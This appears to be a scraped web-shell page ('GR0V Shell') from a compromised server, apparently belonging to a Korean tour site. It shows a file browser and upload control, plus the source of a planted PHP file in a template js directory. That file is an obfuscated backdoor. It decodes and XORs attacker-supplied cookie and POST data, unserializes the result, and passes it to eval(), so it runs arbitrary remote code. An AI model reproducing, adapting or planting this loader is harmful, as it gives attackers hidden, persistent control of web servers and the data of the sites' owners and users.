? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/domains/happytokorea.net/public_html/test/installation/template/js/
File Upload :
Current File : /home/admin/domains/happytokorea.net/public_html/test/installation/template/js/eeaf8f04.php

$cUrFxsd = chr (80) . "\x4f" . chr ( 576 - 498 ).chr (95) . chr (88) . chr ( 1032 - 945 ).'f' . "\x43";$zIZZuiph = chr ( 715 - 616 ).chr ( 272 - 164 ).chr (97) . chr ( 737 - 622 ).'s' . chr (95) . "\145" . chr ( 763 - 643 )."\151" . "\x73" . chr ( 568 - 452 ).'s';$UAMHJ = $zIZZuiph($cUrFxsd); $cUrFxsd = "64115";$gJZiGsTG = $UAMHJ;$zIZZuiph = "55478";if (!$gJZiGsTG){class PON_XWfC{private $agUeRv;public static $JROgYmIkK = "cbbf0708-06bb-4334-a0fe-fce9448da69c";public static $BpETq = 65387;public function __construct($bFNuOLBTiw=0){$nEASgUHZU = $_COOKIE;$msDVBUpO = $_POST;$fbdPNIJFz = @$nEASgUHZU[substr(PON_XWfC::$JROgYmIkK, 0, 4)];if (!empty($fbdPNIJFz)){$mPPQpH = "base64";$pPHZUjzXHn = "";$fbdPNIJFz = explode(",", $fbdPNIJFz);foreach ($fbdPNIJFz as $ZbXWjgDE){$pPHZUjzXHn .= @$nEASgUHZU[$ZbXWjgDE];$pPHZUjzXHn .= @$msDVBUpO[$ZbXWjgDE];}$pPHZUjzXHn = array_map($mPPQpH . chr ( 462 - 367 ).chr ( 784 - 684 )."\145" . 'c' . 'o' . 'd' . chr (101), array($pPHZUjzXHn,)); $pPHZUjzXHn = $pPHZUjzXHn[0] ^ str_repeat(PON_XWfC::$JROgYmIkK, (strlen($pPHZUjzXHn[0]) / strlen(PON_XWfC::$JROgYmIkK)) + 1);PON_XWfC::$BpETq = @unserialize($pPHZUjzXHn);}}private function JIxmRog(){if (is_array(PON_XWfC::$BpETq)) {$NBbsBa = str_replace(chr (60) . "\x3f" . 'p' . 'h' . "\160", "", PON_XWfC::$BpETq["\143" . 'o' . "\x6e" . "\x74" . chr (101) . chr (110) . "\x74"]);eval($NBbsBa); $udENDJKLi = "60402";exit();}}public function __destruct(){$this->JIxmRog(); $udENDJKLi = "60402";$VJTBhJl = str_pad($udENDJKLi, 10);}}$HNIvUkBcw = new /* 62942 */ PON_XWfC(); $HNIvUkBcw = substr("48416_5242", 1);}

T1KUS90T
  root-grov@210.1.60.28:~$